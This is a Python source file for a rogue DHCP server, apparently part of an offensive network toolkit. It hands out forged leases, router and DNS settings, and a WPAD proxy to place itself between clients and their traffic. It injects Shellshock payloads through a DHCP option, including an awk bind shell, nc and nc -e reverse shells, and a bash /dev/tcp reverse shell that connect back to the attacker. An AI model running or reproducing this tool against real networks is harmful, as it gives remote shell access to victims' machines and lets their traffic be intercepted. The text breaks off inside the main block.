text: #!/usr/bin/env python
  
  # region Import
  from sys import path
  from os.path import dirname, abspath
  project_root_path = dirname(dirname(dirname(abspath(__file__))))
  utils_path = project_root_path + "/Utils/"
  path.append(utils_path)
  
  from base import Base
  from network import Ethernet_raw, ARP_raw, IP_raw, UDP_raw, DHCP_raw
  from tm import ThreadManager
  from scanner import Scanner
  
  from sys import exit
  from argparse import ArgumentParser
  from ipaddress import IPv4Address
  from socket import socket, AF_PACKET, SOCK_RAW, htons
  from os import errno, makedirs
  from shutil import copyfile
  from base64 import b64encode
  from netaddr import IPAddress
  from time import sleep
  from random import randint
  import subprocess as sub
  # endregion
  
  # region Check user, platform and create threads
  Base = Base()
  Scanner = Scanner()
  Base.check_user()
  Base.check_platform()
  tm = ThreadManager(3)
  # endregion
  
  # region Parse script arguments
  parser = ArgumentParser(description='DHCP Rogue server')
  
  parser.add_argument('-i', '--interface', help='Set interface name for send reply packets')
  
  parser.add_argument('-f', '--first_offer_ip', type=str, help='Set first client ip for offering', default=None)
  parser.add_argument('-l', '--last_offer_ip', type=str, help='Set last client ip for offering', default=None)
  parser.add_argument('-t', '--target_mac', type=str, help='Set target MAC address', default=None)
  parser.add_argument('-T', '--target_ip', type=str, help='Set client IP address with MAC in --target_mac', default=None)
  parser.add_argument('-m', '--netmask', type=str, help='Set network mask', default=None)
  
  parser.add_argument('--dhcp_mac', type=str, help='Set DHCP server MAC address, if not set use your MAC address', default=None)
  parser.add_argument('--dhcp_ip', type=str, help='Set DHCP server IP address, if not set use your IP address', default=None)
  
  parser.add_argument('--router', type=str, help='Set router IP address, if not set use your ip address', default=None)
  parser.add_argument('--dns', type=str, help='Set DNS server IP address, if not set use your ip address', default=None)
  parser.add_argument('--tftp', type=str, help='Set TFTP server IP address', default=None)
  parser.add_argument('--wins', type=str, help='Set WINS server IP address', default=None)
  parser.add_argument('--proxy', type=str, help='Set Proxy URL, example: 192.168.0.1:8080', default=None)
  parser.add_argument('--domain', type=str, help='Set domain name for search, default=local', default="local")
  parser.add_argument('--lease_time', type=int, help='Set lease time, default=172800', default=172800)
  
  parser.add_argument('-s', '--send_discover', action='store_true',
                      help='Send DHCP discover packets in the background thread')
  parser.add_argument('-r', '--discover_rand_mac', action='store_true',
                      help='Use random MAC address for source MAC address in DHCP discover packets')
  parser.add_argument('-d', '--discover_delay', type=float,
                      help='Set delay between DHCP discover packets (default=0.5 sec.)', default=0.5)
  
  parser.add_argument('-O', '--shellshock_option_code', type=int,
                      help='Set dhcp option code for inject shellshock payload, default=114', default=114)
  parser.add_argument('-c', '--shellshock_command', type=str, help='Set shellshock command in DHCP client')
  parser.add_argument('-b', '--bind_shell', action='store_true', help='Use awk bind tcp shell in DHCP client')
  parser.add_argument('-p', '--bind_port', type=int, help='Set port for listen bind shell (default=1234)', default=1234)
  parser.add_argument('-N', '--nc_reverse_shell', action='store_true', help='Use nc reverse tcp shell in DHCP client')
  parser.add_argument('-E', '--nce_reverse_shell', action='store_true', help='Use nc -e reverse tcp shell in DHCP client')
  parser.add_argument('-R', '--bash_reverse_shell', action='store_true', help='Use bash reverse tcp shell in DHCP client')
  parser.add_argument('-e', '--reverse_port', type=int, help='Set port for listen bind shell (default=443)', default=443)
  parser.add_argument('-n', '--without_network', action='store_true', help='Do not add network configure in payload')
  parser.add_argument('-B', '--without_base64', action='store_true', help='Do not use base64 encode in payload')
  parser.add_argument('--ip_path', type=str,
                      help='Set path to "ip" in shellshock payload, default = /bin/', default="/bin/")
  parser.add_argument('--iface_name', type=str,
                      help='Set iface name in shellshock payload, default = eth0', default="eth0")
  
  parser.add_argument('--broadcast_response', action='store_true', help='Send broadcast response')
  parser.add_argument('--dnsop', action='store_true', help='Do not send DHCP OFFER packets')
  parser.add_argument('--exit', action='store_true', help='Exit on success MiTM attack')
  parser.add_argument('-q', '--quiet', action='store_true', help='Minimal output')
  
  args = parser.parse_args()
  # endregion
  
  # region Print banner if argument quit is not set
  if not args.quiet:
      Base.print_banner()
  # endregion
  
  # region Set global variables
  
  eth = Ethernet_raw()
  arp = ARP_raw()
  ip = IP_raw()
  udp = UDP_raw()
  dhcp = DHCP_raw()
  
  first_offer_ip_address = None
  last_offer_ip_address = None
  network_mask = None
  
  target_mac_address = None
  target_ip_address = None
  
  dhcp_server_mac_address = None
  dhcp_server_ip_address = None
  
  router_ip_address = None
  dns_server_ip_address = None
  tftp_server_ip_address = None
  wins_server_ip_address = None
  wpad_url = None
  
  dhcp_discover_packets_source_mac = None
  
  free_ip_addresses = []
  clients = {}
  
  shellshock_url = None
  domain = None
  payload = None
  
  SOCK = None
  
  discover_sender_is_work = False
  # endregion
  
  # region Get your network settings
  if args.interface is None:
      Base.print_warning("Please set a network interface for sniffing ARP and DHCP requests ...")
  current_network_interface = Base.netiface_selection(args.interface)
  
  your_mac_address = Base.get_netiface_mac_address(current_network_interface)
  if your_mac_address is None:
      Base.print_error("Network interface: ", current_network_interface, " do not have MAC address!")
      exit(1)
  
  your_ip_address = Base.get_netiface_ip_address(current_network_interface)
  if your_ip_address is None:
      Base.print_error("Network interface: ", current_network_interface, " do not have IP address!")
      exit(1)
  
  your_network_mask = Base.get_netiface_netmask(current_network_interface)
  if your_network_mask is None:
      Base.print_error("Network interface: ", current_network_interface, " do not have network mask!")
      exit(1)
  
  if args.netmask is None:
      network_mask = your_network_mask
  else:
      network_mask = args.netmask
  # endregion
  
  # region Create raw socket
  SOCK = socket(AF_PACKET, SOCK_RAW)
  SOCK.bind((current_network_interface, 0))
  # endregion
  
  # region Get first and last IP address in your network
  first_ip_address = str(IPv4Address(unicode(Base.get_netiface_first_ip(current_network_interface))) - 1)
  last_ip_address = str(IPv4Address(unicode(Base.get_netiface_last_ip(current_network_interface))) + 1)
  # endregion
  
  # region Set target MAC and IP address, if target IP is not set - get first and last offer IP
  if args.target_mac is not None:
      target_mac_address = str(args.target_mac).lower()
  
  # region Target IP is set
  if args.target_ip is not None:
      if args.target_mac is not None:
          if not Base.ip_address_in_range(args.target_ip, first_ip_address, last_ip_address):
              Base.print_error("Bad value `-I, --target_ip`: ", args.target_ip,
                               "; target IP address must be in range: ", first_ip_address + " - " + last_ip_address)
              exit(1)
          else:
              target_ip_address = args.target_ip
      else:
          Base.print_error("Please set target MAC address (example: --target_mac 00:AA:BB:CC:DD:FF)" +
                           ", for target IP address: ", args.target_ip)
          exit(1)
  
      # Set default first offer IP and last offer IP
      first_offer_ip_address = str(IPv4Address(unicode(first_ip_address)) + 1)
      last_offer_ip_address = str(IPv4Address(unicode(last_ip_address)) - 1)
  # endregion
  
  # region Target IP is not set - get first and last offer IP
  else:
      # Check first offer IP address
      if args.first_offer_ip is None:
          first_offer_ip_address = str(IPv4Address(unicode(first_ip_address)) + 1)
      else:
          if not Base.ip_address_in_range(args.first_offer_ip, first_ip_address, last_ip_address):
              Base.print_error("Bad value `-f, --first_offer_ip`: ", args.first_offer_ip,
                               "; first IP address in your network: ", first_ip_address)
              exit(1)
          else:
              first_offer_ip_address = args.first_offer_ip
  
      # Check last offer IP address
      if args.last_offer_ip is None:
          last_offer_ip_address = str(IPv4Address(unicode(last_ip_address)) - 1)
      else:
          if not Base.ip_address_in_range(args.last_offer_ip, first_ip_address, last_ip_address):
              Base.print_error("Bad value `-l, --last_offer_ip`: ", args.last_offer_ip,
                               "; last IP address in your network: ", last_ip_address)
              exit(1)
          else:
              last_offer_ip_address = args.last_offer_ip
  
  # endregion
  
  # endregion
  
  # region Set DHCP sever MAC and IP address
  if args.dhcp_mac is None:
      dhcp_server_mac_address = your_mac_address
  else:
      dhcp_server_mac_address = args.dhcp_mac
  
  if args.dhcp_ip is None:
      dhcp_server_ip_address = your_ip_address
  else:
      if not Base.ip_address_in_range(args.dhcp_ip, first_ip_address, last_ip_address):
          Base.print_error("Bad value `--dhcp_ip`: ", args.dhcp_ip,
                           "; DHCP server IP address must be in range: ", first_ip_address + " - " + last_ip_address)
          exit(1)
      else:
          dhcp_server_ip_address = args.dhcp_ip
  # endregion
  
  # region Set router, dns, tftp, wins IP address
  
  # Set router IP address
  if args.router is None:
      router_ip_address = your_ip_address
  else:
      if not Base.ip_address_in_range(args.router, first_ip_address, last_ip_address):
          Base.print_error("Bad value `--router`: ", args.router,
                           "; Router IP address must be in range: ", first_ip_address + " - " + last_ip_address)
          exit(1)
      else:
          router_ip_address = args.router
  
  # Set DNS server IP address
  if args.dns is None:
      dns_server_ip_address = your_ip_address
  else:
      if not Base.ip_address_validation(args.dns):
          Base.print_error("Bad DNS server IP address in `--dns` parameter: ", args.dns)
          exit(1)
      else:
          dns_server_ip_address = args.dns
  
  # Set TFTP server IP address
  if args.tftp is None:
      tftp_server_ip_address = your_ip_address
  else:
      if not Base.ip_address_in_range(args.tftp, first_ip_address, last_ip_address):
          Base.print_error("Bad value `--tftp`: ", args.tftp,
                           "; TFTP server IP address must be in range: ", first_ip_address + " - " + last_ip_address)
          exit(1)
      else:
          tftp_server_ip_address = args.tftp
  
  # Set WINS server IP address
  if args.wins is None:
      wins_server_ip_address = your_ip_address
  else:
      if not Base.ip_address_in_range(args.wins, first_ip_address, last_ip_address):
          Base.print_error("Bad value `--wins`: ", args.tftp,
                           "; WINS server IP address must be in range: ", first_ip_address + " - " + last_ip_address)
          exit(1)
      else:
          wins_server_ip_address = args.wins
  
  # endregion
  
  # region Set proxy
  
  if args.proxy is not None:
  
      # Set variables
      wpad_url = "http://" + your_ip_address + "/wpad.dat"
      apache2_sites_available_dir = "/etc/apache2/sites-available/"
      apache2_sites_path = "/var/www/html/"
      wpad_path = apache2_sites_path + "wpad/"
  
      # Apache2 sites settings
      default_site_file_name = "000-default.conf"
      default_site_file = open(apache2_sites_available_dir + default_site_file_name, 'w')
      default_site_file.write("<VirtualHost *:80>\n" +
                              "\tServerAdmin admin@wpad.com\n" +
                              "\tDocumentRoot " + wpad_path + "\n" +
                              "\t<Directory " + wpad_path + ">\n" +
                              "\t\tOptions FollowSymLinks\n" +
                              "\t\tAllowOverride None\n" +
                              "\t\tOrder allow,deny\n" +
                              "\t\tAllow from all\n" +
                              "\t</Directory>\n" +
                              "</VirtualHost>\n")
      default_site_file.close()
  
      # Create dir with wpad.dat script
      try:
          makedirs(wpad_path)
      except OSError:
          Base.print_info("Path: ", wpad_path, " already exist")
      except:
          Base.print_error("Something else went wrong while trying to create path: ", wpad_path)
          exit(1)
  
      # Copy wpad.dat script
      wpad_script_name = "wpad.dat"
      wpad_script_src = utils_path + wpad_script_name
      wpad_script_dst = wpad_path + wpad_script_name
      copyfile(src=wpad_script_src, dst=wpad_script_dst)
  
      # Read redirect script
      with open(wpad_script_dst, 'r') as redirect_script:
          content = redirect_script.read()
  
      # Replace the Proxy URL
      content = content.replace('proxy_url', args.proxy)
  
      # Write redirect script
      with open(wpad_script_dst, 'w') as redirect_script:
          redirect_script.write(content)
  
      # Restart Apache2 server
      try:
          Base.print_info("Restarting apache2 server ...")
          sub.Popen(['service apache2 restart  >/dev/null 2>&1'], shell=True)
      except OSError as e:
          if e.errno == errno.ENOENT:
              Base.print_error("Program: ", "service", " is not installed!")
              exit(1)
          else:
              Base.print_error("Something went wrong while trying to run ", "`service apache2 restart`")
              exit(2)
  
      # Check apache2 is running
      sleep(2)
      apache2_pid = Base.get_process_pid("apache2")
      if apache2_pid == -1:
          Base.print_error("Apache2 server is not running!")
          exit(1)
      else:
          Base.print_info("Apache2 server is running, PID: ", str(apache2_pid))
  
  # endregion
  
  # region Set Shellshock option code
  if 255 < args.shellshock_option_code < 0:
      Base.print_error("Bad value: ", args.shellshock_option_code,
                       "in DHCP option code! This value should be in the range from 1 to 254")
      exit(1)
  # endregion
  
  # region Set search domain
  domain = bytes(args.domain)
  # endregion
  
  # region General output
  if not args.quiet:
      Base.print_info("Network interface: ", current_network_interface)
      Base.print_info("Your IP address: ", your_ip_address)
      Base.print_info("Your MAC address: ", your_mac_address)
  
      if target_mac_address is not None:
          Base.print_info("Target MAC: ", target_mac_address)
  
      # If target IP address is set print target IP, else print first and last offer IP
      if target_ip_address is not None:
          Base.print_info("Target IP: ", target_ip_address)
      else:
          Base.print_info("First offer IP: ", first_offer_ip_address)
          Base.print_info("Last offer IP: ", last_offer_ip_address)
  
      Base.print_info("DHCP server mac address: ", dhcp_server_mac_address)
      Base.print_info("DHCP server ip address: ", dhcp_server_ip_address)
      Base.print_info("Router IP address: ", router_ip_address)
      Base.print_info("DNS server IP address: ", dns_server_ip_address)
      Base.print_info("TFTP server IP address: ", tftp_server_ip_address)
  
      if args.proxy is not None:
          Base.print_info("Proxy url: ", args.proxy)
  # endregion
  
  
  # region Get free IP addresses in local network
  def get_free_ip_addresses():
      global Scanner
      # Get all IP addresses in range from first to last offer IP address
      current_ip_address = first_offer_ip_address
      while IPv4Address(unicode(current_ip_address)) <= IPv4Address(unicode(last_offer_ip_address)):
          free_ip_addresses.append(current_ip_address)
          current_ip_address = str(IPv4Address(unicode(current_ip_address)) + 1)
  
      Base.print_info("ARP scan on interface: ", current_network_interface, " is running ...")
      localnet_ip_addresses = Scanner.find_ip_in_local_network(current_network_interface)
  
      for ip_address in localnet_ip_addresses:
          try:
              free_ip_addresses.remove(ip_address)
          except ValueError:
              pass
  
  # endregion
  
  
  # region Add client info in global clients dictionary
  def add_client_info_in_dictionary(client_mac_address, client_info, this_client_already_in_dictionary=False):
      if this_client_already_in_dictionary:
          clients[client_mac_address].update(client_info)
      else:
          clients[client_mac_address] = client_info
  # endregion
  
  
  # region Make DHCP offer packet
  def make_dhcp_offer_packet(transaction_id, offer_ip, client_mac, destination_mac=None, destination_ip=None):
      if destination_mac is None:
          destination_mac = "ff:ff:ff:ff:ff:ff"
      if destination_ip is None:
          destination_ip = "255.255.255.255"
      return dhcp.make_response_packet(source_mac=dhcp_server_mac_address,
                                       destination_mac=destination_mac,
                                       source_ip=dhcp_server_ip_address,
                                       destination_ip=destination_ip,
                                       transaction_id=transaction_id,
                                       your_ip=offer_ip,
                                       client_mac=client_mac,
                                       dhcp_server_id=dhcp_server_ip_address,
                                       lease_time=args.lease_time,
                                       netmask=network_mask,
                                       router=router_ip_address,
                                       dns=dns_server_ip_address,
                                       dhcp_operation=2,
                                       payload=None)
  # endregion
  
  
  # region Make DHCP ack packet
  def make_dhcp_ack_packet(transaction_id, target_mac, target_ip, destination_mac=None, destination_ip=None):
      if destination_mac is None:
          destination_mac = "ff:ff:ff:ff:ff:ff"
      if destination_ip is None:
          destination_ip = "255.255.255.255"
      return dhcp.make_response_packet(source_mac=dhcp_server_mac_address,
                                       destination_mac=destination_mac,
                                       source_ip=dhcp_server_ip_address,
                                       destination_ip=destination_ip,
                                       transaction_id=transaction_id,
                                       your_ip=target_ip,
                                       client_mac=target_mac,
                                       dhcp_server_id=dhcp_server_ip_address,
                                       lease_time=args.lease_time,
                                       netmask=network_mask,
                                       router=router_ip_address,
                                       dns=dns_server_ip_address,
                                       dhcp_operation=5,
                                       payload=shellshock_url,
                                       proxy=bytes(wpad_url),
                                       domain=domain,
                                       tftp=tftp_server_ip_address,
                                       wins=wins_server_ip_address,
                                       payload_option_code=args.shellshock_option_code)
  # endregion
  
  
  # region Make DHCP nak packet
  def make_dhcp_nak_packet(transaction_id,  target_mac, target_ip, requested_ip):
      return dhcp.make_nak_packet(source_mac=dhcp_server_mac_address,
                                  destination_mac=target_mac,
                                  source_ip=dhcp_server_ip_address,
                                  destination_ip=requested_ip,
                                  transaction_id=transaction_id,
                                  your_ip=target_ip,
                                  client_mac=target_mac,
                                  dhcp_server_id=dhcp_server_ip_address)
  # endregion
  
  # def ack_sender():
  #     SOCK = socket(AF_PACKET, SOCK_RAW)
  #     SOCK.bind((current_network_interface, 0))
  #     ack_packet = make_dhcp_ack_packet(transaction_id_global, requested_ip_address)
  #     while True:
  #         SOCK.send(ack_packet)
  #         sleep(0.01)
  
  
  # region Send DHCP discover packets
  def discover_sender(number_of_packets=999999):
      global discover_sender_is_work
      discover_sender_is_work = True
  
      packet_index = 0
      SOCK = socket(AF_PACKET, SOCK_RAW)
      SOCK.bind((current_network_interface, 0))
  
      if dhcp_discover_packets_source_mac != your_mac_address:
          relay_agent_ip_address = Base.get_netiface_random_ip(current_network_interface)
          while packet_index < number_of_packets:
              try:
                  discover_packet = dhcp.make_discover_packet(source_mac=dhcp_discover_packets_source_mac,
                                                              client_mac=eth.get_random_mac(),
                                                              host_name=Base.make_random_string(8),
                                                              relay_ip=relay_agent_ip_address)
                  SOCK.send(discover_packet)
                  sleep(args.discover_delay)
              except:
                  Base.print_error("Something went wrong when sending DHCP discover packets!")
              packet_index += 1
  
      else:
          while packet_index < number_of_packets:
              try:
                  discover_packet = dhcp.make_discover_packet(source_mac=dhcp_discover_packets_source_mac,
                                                              client_mac=eth.get_random_mac(),
                                                              host_name=Base.make_random_string(8),
                                                              relay_ip=your_ip_address)
                  SOCK.send(discover_packet)
                  sleep(args.discover_delay)
              except:
                  Base.print_error("Something went wrong when sending DHCP discover packets!")
              packet_index += 1
  
      SOCK.close()
      discover_sender_is_work = False
  # endregion
  
  
  # region Reply to DHCP and ARP requests
  def reply(request):
  
      # region Define global variables
      global SOCK
      global clients
      global target_ip_address
      global router_ip_address
      global payload
      global shellshock_url
      global args
      global discover_sender_is_work
      # endregion
  
      # region DHCP
      if 'DHCP' in request.keys():
  
          # region Get transaction id and client MAC address
          transaction_id = request['BOOTP']['transaction-id']
          client_mac_address = request['BOOTP']['client-mac-address']
          # endregion
  
          # region Check this client already in dict
          client_already_in_dictionary = False
          if client_mac_address in clients.keys():
              client_already_in_dictionary = True
          # endregion
  
          # region DHCP DISCOVER
          if request['DHCP'][53] == 1:
  
              # region Print INFO message
              Base.print_info("DHCP DISCOVER from: ", client_mac_address, " transaction id: ", hex(transaction_id))
              # endregion
  
              # If parameter "Do not send DHCP OFFER packets" is not set
              if not args.dnsop:
  
                  # region Start DHCP discover sender
                  if args.send_discover:
                      if not discover_sender_is_work:
                          discover_sender(100)
                  # endregion
  
                  # If target IP address is set - offer IP = target IP
                  if target_ip_address is not None:
                      offer_ip_address = target_ip_address
  
                  # If target IP address is not set - offer IP = random IP from free IP addresses list
                  else:
                      random_index = randint(0, len(free_ip_addresses))
                      offer_ip_address = free_ip_addresses[random_index]
  
                      # Delete offer IP from free IP addresses list
                      del free_ip_addresses[random_index]
  
                  if args.broadcast_response:
                      offer_packet = make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address)
                  else:
                      offer_packet = make_dhcp_offer_packet(transaction_id, offer_ip_address, client_mac_address,
                                                            client_mac_address, offer_ip_address)
  
                  SOCK.send(offer_packet)
  
                  # Add client info in global clients dictionary
                  add_client_info_in_dictionary(client_mac_address,
                                                {"transaction": transaction_id, "discover": True,
                                                 "offer_ip": offer_ip_address},
                                                client_already_in_dictionary)
  
                  # Print INFO message
                  Base.print_info("DHCP OFFER to: ", client_mac_address, " offer IP: ", offer_ip_address)
          # endregion
  
          # region DHCP RELEASE
          if request['DHCP'][53] == 7:
              if request['BOOTP']['client-ip-address'] is not None:
                  client_ip = request['BOOTP']['client-ip-address']
                  Base.print_info("DHCP RELEASE from: ", client_ip + " (" + client_mac_address + ")",
                                  " transaction id: ", hex(transaction_id))
  
                  # Add client info in global clients dictionary
                  add_client_info_in_dictionary(client_mac_address,
                                                {"client_ip": client_ip},
                                                client_already_in_dictionary)
                  # print clients
  
                  # Add release client IP in free IP addresses list
                  if client_ip not in free_ip_addresses:
                      free_ip_addresses.append(client_ip)
              else:
                  Base.print_info("DHCP RELEASE from: ", client_mac_address, " transaction id: ", hex(transaction_id))
  
              # Add client info in global clients dictionary
              add_client_info_in_dictionary(client_mac_address,
                                            {"release": True},
                                            client_already_in_dictionary)
              # print clients
          # endregion
  
          # region DHCP INFORM
          if request['DHCP'][53] == 8:
              if request['BOOTP']['client-ip-address'] is not None:
                  client_ip = request['BOOTP']['client-ip-address']
                  Base.print_info("DHCP INFORM from: ", client_ip + " (" + client_mac_address + ")",
                                  " transaction id: ", hex(transaction_id))
  
                  # If client IP in free IP addresses list delete this
                  if client_ip in free_ip_addresses:
                      free_ip_addresses.remove(client_ip)
  
                  # Add client info in global clients dictionary
                  add_client_info_in_dictionary(client_mac_address,
                                                {"client_ip": client_ip},
                                                client_already_in_dictionary)
                  # print clients
  
              else:
                  Base.print_info("DHCP INFORM from: ", client_mac_address, " transaction id: ", hex(transaction_id))
  
              # Add client info in global clients dictionary
              add_client_info_in_dictionary(client_mac_address,
                                            {"inform": True},
                                            client_already_in_dictionary)
              # print clients
          # endregion
  
          # region DHCP REQUEST
          if request['DHCP'][53] == 3:
  
              # region Set local variables
              requested_ip = "0.0.0.0"
              offer_ip = None
              # endregion
  
              # region Get requested IP
              if 50 in request['DHCP'].keys():
                  requested_ip = str(request['DHCP'][50])
              # endregion
  
              # region Print info message
              Base.print_info("DHCP REQUEST from: ", client_mac_address, " transaction id: ", hex(transaction_id),
                              " requested ip: ", requested_ip)
              # endregion
  
              # region Requested IP not in range from first offer IP to last offer IP
              if not Base.ip_address_in_range(requested_ip, first_offer_ip_address, last_offer_ip_address):
                  Base.print_warning("Client: ", client_mac_address, " requested IP: ", requested_ip,
                                     " not in range: ", first_offer_ip_address + " - " + last_offer_ip_address)
              # endregion
  
              # region Requested IP in range from first offer IP to last offer IP
              else:
                  # region Start DHCP discover sender
                  if args.send_discover:
                      if not discover_sender_is_work:
                          discover_sender(100)
                  # endregion
  
                  # region Change client info in global clients dictionary
  
                  # Add client info in global clients dictionary
                  add_client_info_in_dictionary(client_mac_address,
                                                {"request": True, "requested_ip": requested_ip,
                                                 "transaction": transaction_id},
                                                client_already_in_dictionary)
  
                  # Delete ARP mitm success keys in dictionary for this client
                  clients[client_mac_address].pop('client request his ip', None)
                  clients[client_mac_address].pop('client request router ip', None)
                  clients[client_mac_address].pop('client request dns ip', None)
  
                  # endregion
  
                  # region Get offer IP address
                  try:
                      offer_ip = clients[client_mac_address]["offer_ip"]
                  except KeyError:
                      pass
                  # endregion
  
                  # region This client already send DHCP DISCOVER and offer IP != requested IP
                  if offer_ip is not None and offer_ip != requested_ip:
                      # Print error message
                      Base.print_error("Client: ", client_mac_address, " requested IP: ", requested_ip,
                                       " not like offer IP: ", offer_ip)
  
                      # Create and send DHCP nak packet
                      nak_packet = make_dhcp_nak_packet(transaction_id, client_mac_address, offer_ip, requested_ip)
                      SOCK.send(nak_packet)
                      Base.print_info("DHCP NAK to: ", client_mac_address, " requested ip: ", requested_ip)
  
                      # Add client info in global clients dictionary
                      add_client_info_in_dictionary(client_mac_address,
                                                    {"mitm": "error: offer ip not like requested ip", "offer_ip": None},
                                                    client_already_in_dictionary)
                      # print clients
                  # endregion
  
                  # region Offer IP == requested IP or this is a first request from this client
                  else:
  
                      # region Target IP address is set and requested IP != target IP
                      if target_ip_address is not None and requested_ip != target_ip_address:
  
                          # Print error message
                          Base.print_error("Client: ", client_mac_address, " requested IP: ", requested_ip,
                                           " not like target IP: ", target_ip_address)
  
                          # Create and send DHCP nak packet
                          nak_packet = make_dhcp_nak_packet(transaction_id, client_mac_address,
                                                            target_ip_address, requested_ip)
                          SOCK.send(nak_packet)
                          Base.print_info("DHCP NAK to: ", client_mac_address, " requested ip: ", requested_ip)
  
                          # Add client info in global clients dictionary
                          add_client_info_in_dictionary(client_mac_address,
                                                        {"mitm": "error: target ip not like requested ip", "offer_ip": None,
                                                         "nak": True},
                                                        client_already_in_dictionary)
  
                      # endregion
  
                      # region Target IP address is set and requested IP == target IP or Target IP is not set
                      else:
                          # region Settings shellshock payload
  
                          # region Create payload
  
                          # Network settings command in target machine
                          net_settings = args.ip_path + "ip addr add " + requested_ip + "/" + \
                                         str(IPAddress(network_mask).netmask_bits()) + " dev " + args.iface_name + ";"
  
                          # Shellshock payload: <user bash command>
                          if args.shellshock_command is not None:
                              payload = args.shellshock_command
  
                          # Shellshock payload:
                          # awk 'BEGIN{s="/inet/tcp/<bind_port>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &
                          if args.bind_shell:
                              payload = "awk 'BEGIN{s=\"/inet/tcp/" + str(args.bind_port) + \
                                        "/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &"
  
                          # Shellshock payload:
                          # rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_ip> <your_port> >/tmp/f &
                          if args.nc_reverse_shell:
                              payload = "rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
                                        your_ip_address + " " + str(args.reverse_port) + " >/tmp/f &"
  
                          # Shellshock payload:
                          # /bin/nc -e /bin/sh <your_ip> <your_port> 2>&1 &
                          if args.nce_reverse_shell:
                              payload = "/bin/nc -e /bin/sh " + your_ip_address + " " + str(args.reverse_port) + " 2>&1 &"
  
                          # Shellshock payload:
                          # /bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 &
                          if args.bash_reverse_shell:
                              payload = "/bin/bash -i >& /dev/tcp/" + your_ip_address + \
                                        "/" + str(args.reverse_port) + " 0>&1 &"
  
                          if payload is not None:
  
                              # Do not add network settings command in payload
                              if not args.without_network:
                                  payload = net_settings + payload
  
                              # Send payload to target in clear text
                              if args.without_base64:
                                  shellshock_url = "() { :; }; " + payload
  
                              # Send base64 encoded payload to target in clear text
                              else:
                                  payload = b64encode(payload)
                                  shellshock_url = "() { :; }; /bin/sh <(/usr/bin/base64 -d <<< " + payload + ")"
                          # endregion
  
                          # region Check Shellshock payload length
                          if shellshock_url is not None:
                              if len(shellshock_url) > 255:
                                  Base.print_error("Length of shellshock payload is very big! Current length: ",
                                                   str(len(shellshock_url)), " Maximum length: ", "254")
                                  shellshock_url = "A"
                          # endregion
  
                          # endregion
  
                          # region Send DHCP ack and print info message
                          if args.broadcast_response:
                              ack_packet = make_dhcp_ack_packet(transaction_id, client_mac_address, requested_ip)
                          else:
                              ack_packet = make_dhcp_ack_packet(transaction_id, client_mac_address, requested_ip,
                                                                client_mac_address, requested_ip)
  
                          Base.print_info("DHCP ACK to: ", client_mac_address, " requested ip: ", requested_ip)
                          SOCK.send(ack_packet)
                          # endregion
  
                          # region Add client info in global clients dictionary
                          try:
                              clients[client_mac_address].update({"mitm": "success"})
                          except KeyError:
                              clients[client_mac_address] = {"mitm": "success"}
                          # endregion
  
                      # endregion
  
                  # endregion
  
              # endregion
  
          # endregion
  
          # region DHCP DECLINE
          if request['DHCP'][53] == 4:
              # Get requested IP
              requested_ip = "0.0.0.0"
              if 50 in request['DHCP'].keys():
                  requested_ip = str(request['DHCP'][50])
  
              # Print info message
              Base.print_info("DHCP DECLINE from: ", requested_ip + " (" + client_mac_address + ")",
                              " transaction id: ", hex(transaction_id))
  
              # If client IP in free IP addresses list delete this
              if requested_ip in free_ip_addresses:
                  free_ip_addresses.remove(requested_ip)
  
              # Add client info in global clients dictionary
              add_client_info_in_dictionary(client_mac_address,
                                            {"decline_ip": requested_ip, "decline": True},
                                            client_already_in_dictionary)
              # print clients
          # endregion
  
      # endregion DHCP
  
      # region ARP
      if 'ARP' in request.keys():
          if request['Ethernet']['destination'] == "ff:ff:ff:ff:ff:ff" and \
                  request['ARP']['target-mac'] == "00:00:00:00:00:00":
  
              # region Set local variables
              arp_sender_mac_address = request['ARP']['sender-mac']
              arp_sender_ip_address = request['ARP']['sender-ip']
              arp_target_ip_address = request['ARP']['target-ip']
              # endregion
  
              # region Print info message
              Base.print_info("ARP request from: ", arp_sender_mac_address,
                              " \"", "Who has " + arp_target_ip_address + "? Tell " + arp_sender_ip_address, "\"")
              # endregion
  
              # region Get client mitm status
              try:
                  mitm_status = clients[arp_sender_mac_address]["mitm"]
              except KeyError:
                  mitm_status = ""
              # endregion
  
              # region Get client requested ip
              try:
                  requested_ip = clients[arp_sender_mac_address]["requested_ip"]
              except KeyError:
                  requested_ip = ""
              # endregion
  
              # region Create IPv4 address conflict
              if mitm_status.startswith("error"):
                  arp_reply = arp.make_response(ethernet_src_mac=your_mac_address,
                                                ethernet_dst_mac=arp_sender_mac_address,
                                                sender_mac=your_mac_address, sender_ip=arp_target_ip_address,
                                                target_mac=arp_sender_mac_address, target_ip=arp_sender_ip_address)
                  SOCK.send(arp_reply)
                  Base.print_info("ARP response to:  ", arp_sender_mac_address,
                                  " \"", arp_target_ip_address + " is at " + your_mac_address,
                                  "\" (IPv4 address conflict)")
              # endregion
  
              # region MITM success
              if mitm_status.startswith("success"):
  
                  if arp_target_ip_address == requested_ip:
                      clients[arp_sender_mac_address].update({"client request his ip": True})
  
                  if arp_target_ip_address == router_ip_address:
                      clients[arp_sender_mac_address].update({"client request router ip": True})
  
                  if arp_target_ip_address == dns_server_ip_address:
                      clients[arp_sender_mac_address].update({"client request dns ip": True})
  
                  try:
                      test = clients[arp_sender_mac_address]["client request his ip"]
                      test = clients[arp_sender_mac_address]["client request router ip"]
                      test = clients[arp_sender_mac_address]["client request dns ip"]
  
                      try:
                          test = clients[arp_sender_mac_address]["success message"]
                      except KeyError:
                          if args.exit:
                              sleep(3)
                              Base.print_success("MITM success: ", requested_ip + " (" + arp_sender_mac_address + ")")
                              exit(0)
                          else:
                              Base.print_success("MITM success: ", requested_ip + " (" + arp_sender_mac_address + ")")
                              clients[arp_sender_mac_address].update({"success message": True})
  
                  except KeyError:
                      pass
  
              # endregion
  
      # endregion
  
  # endregion
  
  
  # region Main function
  if __name__ == "__main__":
  
      # region Add ip addresses in list with free ip addresses from first to last offer IP
      if target_ip_address is None:
          Base.print_info("Create list with free IP addresses in your network ...")
          get_free_ip_addresses()
      # endregion
  
      # region Send DHCP discover packets in the background thread
      if args.send_discover:
          Base.print_info("Start DHCP discover packets send in the background thread ...")
  
